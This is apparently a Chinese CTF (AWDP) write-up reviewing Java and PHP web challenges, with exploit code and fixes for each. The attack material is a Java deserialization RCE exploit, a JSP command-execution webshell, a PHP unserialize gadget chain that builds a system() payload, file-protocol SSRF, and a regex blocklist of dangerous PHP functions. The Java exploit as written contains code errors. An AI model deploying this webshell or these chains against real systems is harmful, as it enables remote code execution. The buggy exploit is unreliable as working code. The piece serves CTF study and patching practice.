前言
3.16号又要打AWDP了,去年10月的时候打省赛,AWDP被Java题按在地上锤,代码都还看不懂。这几天亡羊补牢一下。
由于我没有题目附件,这里只补充写写自己不懂的理论知识。
ez_serialize
break
源码里涉及到了Spring Boot框架的代码知识:
现在通过这些源码恶补一下知识
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| @PostMapping({"/read"}) @ResponseBody public String serialize(@RequestParam(name = "data") String data) { try { StringBuilder output = new StringBuilder(); if (data.isEmpty()) { return "参数为空"; } else { output.append(data).append("\n");
ObjectInputStream ois = new ObjectInputStream( new ByteArrayInputStream(Base64.getDecoder().decode(data)) ); ois.readObject(); ois.close();
output.append(Flag.result); return output.toString(); } } catch (Exception var4) { Exception e = var4; return e.getMessage(); } }
|
见Flag.Class,这里的sn()
方法可以RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| private String sn() throws IOException, InterruptedException { if (!this.arg) { return this.command; } else { ProcessBuilder builder = new ProcessBuilder(new String[]{"bash", "-c", this.command}); Process process = builder.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); StringBuilder output = new StringBuilder(); String line;
while ((line = reader.readLine()) != null) { output.append(line).append("\n"); }
int exitCode = process.waitFor(); reader.close();
if (exitCode != 0) { output.append("error command: ").append(this.command); }
return output.toString(); } }
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, InterruptedException { in.defaultReadObject();
if (this.methodName.equals("sn")) { result = this.sn(); } }
|
所以这里只需要调用Flag类的readObject方法即可,EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public class EXP { public static void main(String[] args) throws Exception { Flag flag = new Flag(); Class c = Flag.class; Field namefield = c.getDeclaredField("command"); namefield.setAccessible(true); namefield.set(flag, "cat flag"); Field namefield2 = c.getDeclaredField("methodName"); namefield.setAccessible(true); namefield.set(flag, "sn"); Field namefield = c.getDeclaredField("arg"); namefield.setAccessible(true); namefield.set(flag, true); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(flag); oos.close(); String payload = new String(Base64.getEncoder().encode(baos.toByteArray())); System.out.println(payload) } }
|
fix
这里我还没弄懂这种class文件我要怎么修。
看别人的思路是把Flag的readObject函数给动点手脚:

今天姬哥教了一招修复JAR包的方法,IDEA中有个插件叫做:JAREditor,启用后可以直接对.Class字节码进行修改,最后重构即可。
helloweb
这里补点新学到的知识:
源码一般下发一个jar包,我们简单了解一下Jar包的内容:
.idea目录:**.idea
目录** 是 JetBrains 系列 IDE(如 IntelliJ IDEA、PhpStorm、WebStorm、PyCharm) 用于存储 项目配置信息 的目录。人话:没啥用。
MANIFEST.MF:MANIFEST.MF
是 Java JAR 包的清单文件,用于存储 JAR 包的元信息(metadata)。它位于 JAR 包的 META-INF/
目录下。
它指定了依赖路径与JAR运行入口等信息。

BOOT-INF:Spring Boot可执行JAR包的目录结构,存放代码。
例如:
1 2 3 4 5 6
| myapp.jar │── META-INF/ # 清单文件 `MANIFEST.MF` │── BOOT-INF/ │ ├── classes/ # 应用的 `Java` 代码(`target/classes`) │ ├── lib/ # 依赖的 JAR 文件 │── org/springframework/ # Spring Boot 运行时类
|
break
我记得这里是个文件上传题,具体的细节我忘了(我当时打出来了吗?)。
这里学下JSP木马(有回显):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <%@ page import="java.io.InputStream" %> <%@ page import="java.io.BufferedReader" %> <%@ page import="java.io.InputStreamReader" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>一句话木马</title> </head> <body> <% Process process = Runtime.getRuntime().exec(request.getParameter("cmd")); InputStream inputStream = process.getInputStream(); BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); String line; while ((line = bufferedReader.readLine())!=null){ response.getWriter().print(line); } %> </body> </html>
|
神奇的个人信息录入系统
break
一开始有个任意文件读取漏洞,当时成功读到了源码,但链子没审出来。
只能说代码量有待提升。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259
| <?php namespace App\Processor;
interface IProcess { public function process(); }
abstract class BaseHandler { public $functionName; public $functionArgs;
public function __construct($functionName, $functionArgs = []) { $this->functionName = $functionName; $this->functionArgs = $functionArgs; }
abstract public function execute(); }
class FileHandler extends BaseHandler { private $isAllowed;
public function __construct($functionName, $functionArgs = [], $isAllowed = false) { parent::__construct($functionName, $functionArgs); $this->isAllowed = $isAllowed; }
public function execute() { if ($this->isAllowed) { return call_user_func_array($this->functionName, $this->functionArgs); } return 'Execution not allowed'; } }
class FileReader implements IProcess { private $handler; private $isReady;
public function __construct(FileHandler $handler, $isReady = false) { $this->handler = $handler; $this->isReady = $isReady; }
public function process() { if ($this->isReady) { return $this->handler->execute(); } return 'FileReader not ready'; } }
class Action { private $reader; private $isInitialized;
public function __construct(FileReader $reader, $isInitialized = false) { $this->reader = $reader; $this->isInitialized = $isInitialized; }
public function execute() { if ($this->isInitialized) { return $this->reader->process(); } return 'Action not initialized'; } }
class Task { private $action; private $isSet;
public function __construct(Action $action, $isSet = false) { $this->action = $action; $this->isSet = $isSet; }
public function run() { if ($this->isSet) { return $this->action->execute(); } return 'Task not set'; } }
class Processor { private $task; private $isConfigured;
public function __construct(Task $task, $isConfigured = false) { $this->task = $task; $this->isConfigured = $isConfigured; }
public function process() { if ($this->isConfigured) { return $this->task->run(); } return 'Processor not configured'; } } class Configurator { private $config;
public function __construct($config) { $this->config = $config; }
public function getConfig() { return $this->config; }
public function setConfig($config) { $this->config = $config; }
private function internalConfig() { return 'Configurator internal config'; } }
class MainProcessor { private $processor; private $isEnabled;
public function __construct(Processor $processor, $isEnabled = false) { $this->processor = $processor; $this->isEnabled = $isEnabled; }
public function run() { if ($this->isEnabled) { return $this->processor->process(); } return 'MainProcessor not enabled'; }
public function __toString() { return $this->run(); } }
class DataContainer { private $data;
public function __construct($data) { $this->data = $data; }
public function getData() { return $this->data; }
public function setData($data) { $this->data = $data; }
private function hiddenData() { return 'DataContainer hidden data'; } }
class SettingsManager { private $settings;
public function __construct($settings) { $this->settings = $settings; }
public function applySettings() { return 'SettingsManager applying ' . $this->settings; }
public function getSettings() { return $this->settings; }
public function setSettings($settings) { $this->settings = $settings; }
private function privateSettings() { return 'SettingsManager private settings'; } }
class OptionHandler { private $options;
public function __construct($options) { $this->options = $options; }
public function handleOptions() { return 'OptionHandler handling ' . $this->options; }
public function getOptions() { return $this->options; }
public function setOptions($options) { $this->options = $options; }
private function obscureOptions() { return 'OptionHandler obscure options'; } }
class FeatureController { private $features;
public function __construct($features) { $this->features = $features; }
public function controlFeatures() { return 'FeatureController controlling ' . $this->features; }
public function getFeatures() { return $this->features; }
public function setFeatures($features) { $this->features = $features; }
private function specialFeatures() { return 'FeatureController special features'; } }
class Serializer { public static function serialize($object) { return base64_encode(serialize($object)); }
public static function deserialize($data) { return unserialize(base64_decode($data)); } }
if ($_SERVER['REQUEST_METHOD'] === 'GET') { $data = $_GET['data']; $object = Serializer::deserialize($data); if ($object instanceof MainProcessor) { echo $object->run(); } else { echo "Invalid data or MainProcessor not enabled"; } } ?>
|
复现的时候先别慌,分析下链子的出口:

很明显是FileHandler#execute()
call_user_func()
与call_user_func_array()
的区别:
1 2
| call_user_func_array('system', [$_GET['cmd']]); call_user_func('system', $_GET['cmd']);
|
当时可能被这一长串代码吓到了,实际上特别简单,只需利用每个类的构造函数即可触发RCE链子,而且在构造函数的传参中甚至有提示,链子思路:
1 2 3 4 5 6 7 8 9 10 11
| FileHandler#execute($isAllowed=true, functionName=system, functionArgs=['dir']) ↑ FileReader#process() ↑ Action#execute() ↑ Task#run() ↑ Processor#process() ↑ MainProcessor#run()
|
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257
| <?php namespace App\Processor;
interface IProcess { public function process(); }
abstract class BaseHandler { public $functionName; public $functionArgs;
public function __construct($functionName, $functionArgs = []) { $this->functionName = $functionName; $this->functionArgs = $functionArgs; }
abstract public function execute(); }
class FileHandler extends BaseHandler { private $isAllowed;
public function __construct($functionName, $functionArgs = ['dir'], $isAllowed = true) { parent::__construct($functionName, $functionArgs); $this->isAllowed = $isAllowed; }
public function execute() { if ($this->isAllowed) { echo '函数调用成功!'; return call_user_func_array($this->functionName, $this->functionArgs); } return 'Execution not allowed'; } }
class FileReader implements IProcess { private $handler; private $isReady;
public function __construct(FileHandler $handler, $isReady = true) { $this->handler = $handler; $this->isReady = $isReady; }
public function process() { if ($this->isReady) { return $this->handler->execute(); } return 'FileReader not ready'; } }
class Action { private $reader; private $isInitialized;
public function __construct(FileReader $reader, $isInitialized = true) { $this->reader = $reader; $this->isInitialized = $isInitialized; }
public function execute() { if ($this->isInitialized) { return $this->reader->process(); } return 'Action not initialized'; } }
class Task { private $action; private $isSet;
public function __construct(Action $action, $isSet = true) { $this->action = $action; $this->isSet = $isSet; }
public function run() { if ($this->isSet) { return $this->action->execute(); } return 'Task not set'; } }
class Processor { private $task; private $isConfigured;
public function __construct(Task $task, $isConfigured = true) { $this->task = $task; $this->isConfigured = $isConfigured; }
public function process() { if ($this->isConfigured) { return $this->task->run(); } return 'Processor not configured'; } } class Configurator { private $config;
public function __construct($config) { $this->config = $config; }
public function getConfig() { return $this->config; }
public function setConfig($config) { $this->config = $config; }
private function internalConfig() { return 'Configurator internal config'; } }
class MainProcessor { private $processor; private $isEnabled;
public function __construct(Processor $processor, $isEnabled = true) { $this->processor = $processor; $this->isEnabled = $isEnabled; }
public function run() { if ($this->isEnabled) { return $this->processor->process(); } return 'MainProcessor not enabled'; }
public function __toString() { return $this->run(); } }
class DataContainer { private $data;
public function __construct($data) { $this->data = $data; }
public function getData() { return $this->data; }
public function setData($data) { $this->data = $data; }
private function hiddenData() { return 'DataContainer hidden data'; } }
class SettingsManager { private $settings;
public function __construct($settings) { $this->settings = $settings; }
public function applySettings() { return 'SettingsManager applying ' . $this->settings; }
public function getSettings() { return $this->settings; }
public function setSettings($settings) { $this->settings = $settings; }
private function privateSettings() { return 'SettingsManager private settings'; } }
class OptionHandler { private $options;
public function __construct($options) { $this->options = $options; }
public function handleOptions() { return 'OptionHandler handling ' . $this->options; }
public function getOptions() { return $this->options; }
public function setOptions($options) { $this->options = $options; }
private function obscureOptions() { return 'OptionHandler obscure options'; } }
class FeatureController { private $features;
public function __construct($features) { $this->features = $features; }
public function controlFeatures() { return 'FeatureController controlling ' . $this->features; }
public function getFeatures() { return $this->features; }
public function setFeatures($features) { $this->features = $features; }
private function specialFeatures() { return 'FeatureController special features'; } }
class Serializer { public static function serialize($object) { return base64_encode(serialize($object)); }
public static function deserialize($data) { return unserialize(base64_decode($data)); } }
$fileHandler = new FileHandler("system", ["dir"], true); $filereader = new FileReader($fileHandler, true); $action = new Action($filereader); $task = new Task($action); $processor = new Processor($task); $mainProcessor = new MainProcessor($processor); echo(base64_encode(serialize($mainProcessor)));
?>
|
fix
把过滤函数加载反序列化操作的后面:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| class Serializer { public static function serialize($object) { return base64_encode(serialize($object)); }
public static function deserialize($data) { $res = base64_decode($data); if(preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_serv er|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec| chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_res tore/i", $res)) { exit(); } return $res; } }
|
readfile
break
超级简单,一个file协议打SSRF就能读到flag。
fix
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| @PostMapping({"/read"}) @ResponseBody public String readFile(String url) { try { if (url.isEmpty()) { return "Empty URL"; } else { StringBuilder html = new StringBuilder(); html.append(url).append("\n"); URL uri = new URL(url); URLConnection urlConnection = uri.openConnection(); BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
String inputLine; while((inputLine = in.readLine()) != null) { html.append(inputLine); }
in.close(); return html.toString(); } } catch (Exception var7) { Exception e = var7; return e.getMessage(); } }
|
这是一串典型的Java代码引起的SSRF。